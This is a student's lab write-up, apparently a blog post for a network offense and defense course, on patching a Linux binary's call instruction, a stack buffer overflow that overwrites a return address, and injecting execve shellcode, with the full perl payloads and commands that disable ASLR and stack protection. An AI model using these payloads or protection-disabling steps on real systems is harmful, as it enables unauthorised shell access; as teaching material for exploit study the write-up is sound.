2019-2020-2 20174308 帅嵩《网络对抗技术》 Exp1 PC平台逆向破解

目录

  • 1.逆向及Bof基础实践说明
  • 2.直接修改程序机器指令,改变程序执行流程
  • 3.通过构造输入参数,造成BOF攻击,改变程序执行流
  • 4. 注入Shellcode并执行
  • 5.实验收获与感想
  • 6.什么是漏洞?漏洞有什么危害?

 1.逆向及Bof基础 实践说明

  1.1实践目标

  • 对象:一个Linux可执行文件——pwn1目标:使程序执行getShell代码段。
    • 该程序有三个代码段,main主函数、foo函数(会简单回显任何用户输入的字符串。)、getShell函数(返回一个可用shell)。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。正常情况下这个代码是不会被运行的。
  • 实践内容
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 现实情况中的攻击目标
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

  • 熟悉Linux基本操作。
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。会使用gdb,vim。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 需要掌握的机器码
    • NOP机器码 90。
    • JNE机器码 75
    • JE机器码 74
    • JMP rel8相对短跳转,机器码 EB
      JMP rel16相对跳转,机器码 E9
      JMP r/m16绝对跳转,机器码 FF
      JMP r/m32绝对跳转,机器码 FF
      JMP ptr1 6:16远距离绝对跳转,机器码 EA
      JMP ptr1 6:32远距离绝对跳转,机器码 EA
      JMP m16:16远距离绝对跳转,机器码 FF
      JMP m16:32远距离绝对跳转,机器码 FF

    • MP reg8/mem8,reg8 机器码 38
      CMP reg16/mem16,reg16 机器码 39
      CMP reg8,reg8/mem8 机器码 3A
      CMP reg16,reg16/mem16 机器码 3B
      CMP al,immed8 机器码 3C
      CMP ax,immed16 机器码 3D

  • 老师建议
    • 这些东西,我自己也记不住,都是用时现查的。
    • 一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
    • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
    • 重要的是理解思路。

2.直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具。
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

步骤0:下载目标文件pwn1。由于之前已经配置过文件共享,故可以将pwn文件直接放入kali虚拟机中的新建文件目录20174308ss下,并更改文件名。

 

步骤1:使用objdump -d pwn1 | more对目标文件进行反汇编,由于代码行数太多,我们无法立即找到我们所需要找到的三个函数,故在文末的more处长按enter键下拉,便可找到我们所需要的main、foo,getShell函数。

步骤2:其中我们可以看到,进行跳转功能的指令call 8048491,其机器指令为e8 d7 ff ff ff。经过分析,它的含义是跳转(e8)到8048491地址。可以发现,目标地址8048491是由8084ba+d7ffffff得到的。d7ffffff是一个补码,其真实数值是-41,经过计算,即为8048491的地址,就是它跳转的foo函数的地址。

我们的目的是需要call指令跳转到我们需要执行的getShell函数,由此我们可以发现,我们只需要改变d7 ff ff ff的数值,便可以控制它的跳转。

所以我们若想让main函数调用getshell,只需计算getShell-80484ba的补码,并用其替换掉d7ffffff即。可在计算器中计算804847d-80484ba即可得到补码c3ffffff

步骤3:通过分析得到了理论结果后,我对程序进行更改。首先复制一个目标文件,方便对比。并且对新复制的文件进行指令更改。

打开Vim界面,我们得到的是一串乱码,这是因为vim编译器默认是机器语言,我们需要转换成十六进制文件进行查看。这里我们进入命令模式,使用:%!xxd将其转换为16进制显示出来。并且用/d7ff查找我们需要更改的那一目标。选中d,使用r修改,即rc+r3,:%!xxd -r将文件再次转换为机器代码,如果不这么做会导致无法运行,然后wq保存退出。

我再次对该文件进行反汇编,发现地址跳转已经更改。

步骤4:结果验证,我运行两次个文件进行对比,一次是未更改的原文件,一次是更改后的文件。

通过验证,我发现更改已经成功,经过修改程序机器指令,原程序可以运行getShell文件。

3.通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

步骤1:依旧是我对原程序进行反汇编。在此之前我们在复制了一个原文件。

由此我们可以发现,foo函数存在有Buffer overflow漏洞,其指令lea只为用户预留了1c=28个字节,如果超出则会造成溢出,

覆盖返回地址。我们的目标就是覆盖返回地址。上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

步骤2:确认输入字符串哪几个字符会覆盖到返回地址。在此之前我需要安装一个调试程序,输入 apt-get install gdb 安装。

在安装的时候,发现无法安装,通过提示我发现是自己的用户没有权限,于是我就使用root用户安装,解决了问题。

输入gdb 20174308ss-pwd2调试程序,按r输入字符串如1111111122222222333333334444444455555555,发生段错误产生溢出,输入info r查看寄存器eip的值,发现输入的5555被覆盖到堆栈上的返回地址。再次输入1111111122222222333333334444444412345678,同样发生溢出,也使用info r查看eip的值。

 

通过查看eip的值,我们发现,55551234覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

步骤3:确认用什么值来覆盖返回地址,寄存器显示时是按照16进制从高位向低位显示,接下来的操作要使这块区域变成我们需要的内容(\x7d\x84\x04\x08)即可实现跳转到getShell处执行代码,所以实际上我们需要输入的就11111111222222223333333344444444\x7d\x84\x04\x08

步骤4:构造输入字符。由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后使用vim查看input文件的内容是否如预期。

 

 

然后将input的输入,通过管道符“|”,作为文件的输入。指令为:(cat input; cat) | ./20174308ss-pwd2

 

通过验证,我发现将input输入之后发现我们运行了getShell函数。我使用ls作为验证,发现我成功运行了ls的指令,故我可以确定为我的Bof攻击成功了。

 

4. 注入Shellcode并执行

 步骤1:准备一段Shellcode。并做必要的修改设置。

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

此次直接使用老师提供的Shellcode指令:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

步骤2:进行一些必要的准备工作。修改一些设置。在此之前先安装execstack软件包,该软件包用apt-get install execstack命令安装。

安装完成后进行设置,执行以下命令。

execstack -s pwn20175121    //设置堆栈可执行

execstack -q pwn20175121    //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space  //查看内存地址随机化的参数

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

 

 

 该操作是对堆栈的设置,我将地址随机化停用,将其返回值设置为0.这样可以让我们的缓冲区溢出攻击变得简单。

步骤3:构造要注入的payload。根据老师的讲解以及参考推荐的shellcode,我使用prel指令把这个语句写入文件input——shellcode中。使用:perl -e 'print "A" x 32;printf"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_shellcode其中\x4\x3\x2\x1是暂时来表示shellcode的首地址,我们的目的就是为了寻找到真正的首地址。同时,我通过xxd input_shellcode指令来看其十六进制编码,查看是否构造成功。构造完一个shellcode之后,我使用(cat input_shellcode;cat) | ./20174308ss-pwn,进行注入。

 

 步骤4:进行调试。打开一个新的终端,进行调试,寻找shellcode的首地址。首先输入ps -ef | grep part3来获得进程号:2483。同时使用gbd进行调试,使用attach 命令来追踪端口。

 

 在输入disassemble foo来查看注入内容的地址。在ret这一句设置断点break *0x080484ae,然后切换至另一终端,按下回车。使用info -r rsp来查看栈顶指针,为0xffffd2cc

 

 再输入x/16x 0xffffd69c查看指针指向的内容。

 由此,我发现\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd2cc+4=0xffffd2d0。这样,我们这一步的目的就达到了,得到了我所需要的目的地址。

步骤5:修改攻击代码,将地址retaddr加进去。

perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

使用(cat input_shellcode;cat) | ./20174308ss-pwn,进行注入。

输入ls后发现可以运行该指令,所以我的此次攻击成功了。但是需要注意的是,这次攻击是在几个预设条件下完成的以上实践是在非常
简单的一个预设条件下完成的:

  • 关闭堆栈保护(gcc -fno-stack-protector)
  • 关闭堆栈执行保护(execstack -s)
  • 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
  • 在x32环境下
  • 在Linux实践中

5.实验收获与感受

通过这次实验,我对网络攻防课程有了一个大体的框架,一门挺有意思的课程,但是难度仍然很大。在课前,我学习了一些关于Linux系统的相关知识,一些基本操作,基本指令等内容,但是实际在用的时候,时常会忘记,我需要不断的查询。就这一个实验而言,我课前先是通过看老师给的实验指导书,然后去看老师的视频,即便是这样,我对很多原理性的东西仍然一知半解,没有完全透彻的理解,尤其是在第三个攻击的时候,过程我非常艰难,在课下我仍然需要花大量的时间去理解,去消化。在实验过程中,我也是参考了其他同学的博客,还有进行自我的学习,然后才完成的实验。在这个实验里,我对于Linux的掌握程度还比较低,很多操作性的失误,浪费了大量的时间。同时,我也存在不细致的问题,尤其是最后输入注入shell指令的时候,出现了许多的问题。不过最后还是解决了问题。

这次实验也加深了我对缓冲区的理解,以前只是听过缓冲区溢出的攻击方式,这次亲手实践了一番,收获很大。

这门课是一门理论与实践相结合的课程,既要懂理论,懂原理,也要会实操。理论就是要多听,多学,多想,实践就是需要多练。在今后,我要学与练相结合,这样才能学好这门课程。

6.什么是漏洞?漏洞有什么危害?

漏洞(英文缩写:BUG)是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。从而可以使攻击者能够在未授权的情况下访问或破坏系统。

利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。常见的攻击有SQL注入攻击,文件上传攻击,权限漏洞攻击,拒绝服务攻击等。

posted @ 2020-03-13 13:04  20174308帅嵩  阅读(100)  评论(0编辑  收藏